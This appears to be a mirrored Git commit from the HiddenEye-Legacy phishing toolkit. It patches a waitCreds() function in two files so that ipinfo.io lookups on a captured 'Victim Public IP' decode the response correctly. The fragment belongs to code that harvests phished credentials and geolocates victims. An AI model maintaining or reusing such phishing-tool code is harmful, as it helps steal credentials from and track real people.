mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Added HTTP response decoding
* Added HTTP response decoding * Added HTTP response decoding for Termux
This commit is contained in:
parent
45cb06eb8b
commit
2e1238d1ba
|
@ -151,8 +151,8 @@ def waitCreds():
|
|||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
||||
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
|
||||
ipinfo = json.loads(resp)
|
||||
resp = urlopen('https://ipinfo.io/%s/json' % ip)
|
||||
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
|
||||
if 'bogon' in ipinfo:
|
||||
print ('======================================================================'.format(RED, END))
|
||||
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
|
||||
|
|
|
@ -150,8 +150,8 @@ def waitCreds():
|
|||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
||||
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
|
||||
ipinfo = json.loads(resp)
|
||||
resp = urlopen('https://ipinfo.io/%s/json' % ip)
|
||||
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
|
||||
if 'bogon' in ipinfo:
|
||||
print ('======================================================================'.format(RED, END))
|
||||
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
|
||||
|
|
Loading…
Reference in New Issue
Block a user